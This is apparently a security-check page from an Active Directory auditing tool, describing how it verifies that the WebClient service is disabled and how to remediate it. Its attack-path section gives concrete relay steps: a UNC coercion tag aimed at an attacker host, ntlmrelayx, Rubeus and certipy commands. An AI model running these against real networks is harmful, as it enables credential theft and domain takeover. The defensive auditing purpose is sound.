ADNET-010: WebClient Service Default State on Workstations
- Plataforma
- Active Directory
- Categoría
- AD Network & Relay Preconditions
- Severidad
- High
- Pilar de Zero Trust
- Networks (peso 3)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
ADNET-010 reads the effective WebClient service start type on every workstation in scope and verifies that a GPO is enforcing the Disabled state across the workstation OUs. The check performs four data collections: 1. GPO scan. The Default Domain Policy and every GPO linked to OUs containing Windows 10 / 11 / Server workstation objects are parsed for the System Services policy at Computer Configuration > Policies > Windows Settings > Security Settings > System Services > WebClient. The check reads the GptTmpl.inf section [Service General Setting] and the WebClient line for the StartupMode value (2 = Automatic, 3 = Manual, 4 = Disabled). 2. Registry read. For each in-scope computer the check queries the local service configuration at HKLM\SYSTEM\CurrentControlSet\Services\WebClient\Start (REG_DWORD; 2 = Automatic, 3 = Manual, 4 = Disabled). A value of 3 is the Windows default and is a finding. 3. Trigger registration. The WebClient service is trigger-started on file-system events. The check reads HKLM\SYSTEM\CurrentControlSet\Services\WebClient\TriggerInfo to confirm whether the on-demand triggers are still registered. Disabled start type with the triggers removed is the desired state. 4. Service status sample. Get-Service -Name WebClient is queried via WinRM or WMI. A Status of Running on a workstation that is not in a documented WebDAV exception group is reported as a critical finding because it indicates the service is already coercible right now. The check emits one record per computer with: ComputerName, OperatingSystem, GPOEnforcingDisabled (true/false), GPOName, EffectiveStartType, ServiceStatus, TriggerCount, and OU.
Por qué importa
WebDAV-based authentication coercion is the cheapest unauthenticated lateral primitive remaining on a default-configured Windows domain. Once an attacker has any low-privilege foothold on the same broadcast domain or any path that can deliver a UNC path to a victim (a malicious shortcut, a Word document with a remote template reference, a search-ms URI, an Outlook calendar invite, a PostMessage event from a captive portal, an LLMNR or mDNS response), they can force the workstation to authenticate over HTTP to an attacker-controlled host. HTTP authentication is the relay carrier of choice because: - SMB signing and SMB extended protection do not apply. The SMB hardening Microsoft shipped through 2024 and 2025 (mandatory SMB signing on Windows 11 24H2, SMB over QUIC, NTLM blocking in SMB) does nothing to HTTP traffic. - LDAP signing and LDAP channel binding do not apply to outbound NTLM over HTTP. Relayed HTTP NTLM goes straight at the ADCS Web Enrollment endpoint (ESC8), ADFS, Exchange (drop-the-MIC, ProxyShell, EWS), SCCM, or any internal IIS app that still accepts NTLM. - The coercion target is a workstation, so every domain-joined laptop becomes a relayable identity. Relaying the machine account to ADCS Web Enrollment yields a client-authentication certificate for the computer, which is sufficient to PKINIT-authenticate as that computer, request a TGT, and then S4U2Self / RBCD to SYSTEM on the host. - WebClient starts on demand. Defenders who run net start | findstr WebClient on a baseline image see nothing running and assume the service is inert. In reality any Office document, any Explorer browse to a WebDAV-looking URL, or any deliberate attacker trigger will start the service for the rest of the user session. The blast radius is the entire workstation fleet plus whatever the relay target authorises. With ADCS Web Enrollment as the relay target, blast radius is forest-wide because the resulting machine certificate authenticates anywhere PKINIT is honoured.
Ruta de ataque
1. Initial access. The attacker has any unauthenticated network position that can reach a workstation, or any user-level foothold on a domain-joined host. No domain credentials are required to coerce a different workstation. 2. Coercion trigger. The attacker delivers a UNC path that references a host with an @ character, which forces the WebClient redirector to attempt WebDAV instead of SMB. Common vehicles: a .url or .lnk file dropped via SMB share, a search-ms: query in an email or chat, an HTML <img src="\\attacker@80\x.jpg"> tag in an Outlook signature, a malicious DFS referral, an LLMNR / NBT-NS / mDNS poisoned response from Responder, a PrintNightmare-style RPC call, or PetitPotam against the workstation. Tools: PetitPotam.py (modified for workstation targets), Coercer (with the WebClient module enabled), DFSCoerce, PrinterBug. 3. WebDAV negotiation. The victim WebClient service contacts attacker@80, the attacker returns a 401 WWW-Authenticate: NTLM, and the victim sends an NTLM type-1 followed by a type-3 message signed with the machine account credential. Crucially the NTLM blob is now travelling over HTTP, not SMB, so SMB signing is irrelevant. 4. Relay. The attacker runs ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController (or Machine, or User) and forwards the HTTP NTLM blob to the ADCS Web Enrollment endpoint. The CA issues a client-authentication certificate bound to the relayed computer or user account. Reference: ESC8 from Certified Pre-Owned. 5. Authenticate with the certificate. Rubeus asktgt /user:WS01$ /certificate:relay.pfx /domain:corp.local /getcredentials or certipy auth -pfx relay.pfx yields a TGT for the relayed principal plus the NTLM hash via PAC. 6. Lateral / escalation. If the relayed principal was a workstation, S4U2Self plus RBCD against the workstation gives SYSTEM. If the relayed principal was a privileged user logged on to the coerced workstation (because the attacker coerced a workstation hosting a Tier-0 jump session), the TGT is directly usable. From here standard kerberoast, DCSync, or DACL abuse paths apply. 7. Persistence. Because the relayed certificate is valid for the CAs configured lifetime (often one year for machine certs), the attacker holds a long-lived PKINIT-able credential that survives password rotation.
Cómo lo evalúa Guerrilla
Guerrilla resolves the list of in-scope workstation computer objects via LDAP filter (&(objectCategory=computer)(operatingSystem=*Windows 10*)(operatingSystem=*Windows 11*)(!(servicePrincipalName=MSClusterVirtualServer))) plus the equivalent for Windows Server hosts not in the documented WebDAV-required group. For each computer the check performs three queries: - GPO-side: Get-GPO -All is enumerated, each GPO is exported with Get-GPOReport -ReportType XML, and the XML is parsed for SecuritySettings/SystemServices/Service[@Name="WebClient"] and its StartupMode value. The check resolves every linked OU via gpLink on each ADOrganizationalUnit object and computes which workstation OUs are covered. - Registry-side: a remote read of HKLM\SYSTEM\CurrentControlSet\Services\WebClient\Start is performed via Invoke-Command, falling back to PSRemoteRegistry / Get-CimInstance Win32_Service where WinRM is unavailable. The Start REG_DWORD plus the TriggerInfo subkey enumeration determine the effective state. - Service runtime: Get-CimInstance -ClassName Win32_Service -Filter "Name='WebClient'" reports StartMode and State. A State of Running on any non-exempt workstation produces a critical finding. The check correlates the three sources. The desired outcome is GPOEnforcingDisabled = True (a GPO sets the service to Disabled and the OU coverage is complete), EffectiveStartType = 4 (Disabled), TriggerCount = 0, and ServiceStatus = Stopped. Any deviation is reported with the specific gap (no GPO, GPO present but OU not linked, GPO present but value is Manual, registry overridden locally, service currently running).
Valor recomendado
Default Domain Policy disables the WebClient service (start type 4) for all member workstations and servers that do not require WebDAV
Remediación
Edit the Default Domain Policy: Computer Configuration > Policies > Windows Settings > Security Settings > System Services > WebClient > 'Define this policy setting' = Disabled. If a subset of hosts (e.g. SharePoint clients) actually need WebDAV, scope an opposing GPO to just those OUs. Monitor for sudden re-enablement.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- CM-7
- CIS AD Benchmark
- 6.4.2
- MITRE ATT&CK
- T1187, T1557.001